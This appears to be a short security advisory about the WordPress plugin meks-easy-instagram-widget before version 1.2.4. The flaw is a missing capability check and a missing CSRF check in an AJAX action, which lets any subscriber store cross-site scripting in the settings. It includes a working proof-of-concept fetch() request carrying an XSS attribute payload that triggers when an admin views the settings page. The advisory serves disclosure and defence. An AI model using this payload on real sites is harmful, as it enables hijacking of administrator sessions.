The plugin does not have capability and CSRF checks in the meks_save_business_selected_account AJAX action, available to any authenticated user, and does not escape some of the settings. As a result, any authenticated user, such as subscriber could update the pluginโs settings and put Cross-Site Scripting payloads in them
As a subscriber: fetch(โhttps://example.com/wp-admin/admin-ajax.phpโ, { โheadersโ: { โcontent-typeโ: โapplication/x-www-form-urlencodedโ, }, โbodyโ: new URLSearchParams({โactionโ:โmeks_save_business_selected_accountโ,โaccess_tokenโ: โ" style=animation-name:rotation onanimationstart=alert(/XSS/) xyz=โ}), โmethodโ: โPOSTโ, โcredentialsโ: โincludeโ }) .then(response => response.text()) .then(data => console.log(data)); Then the XSS will be triggered when an admin access the pluginโs settings (https://example.com/wp-admin/options-general.php?page=meks-instagram)
CPE | Name | Operator | Version |
---|---|---|---|
meks-easy-instagram-widget | lt | 1.2.4 |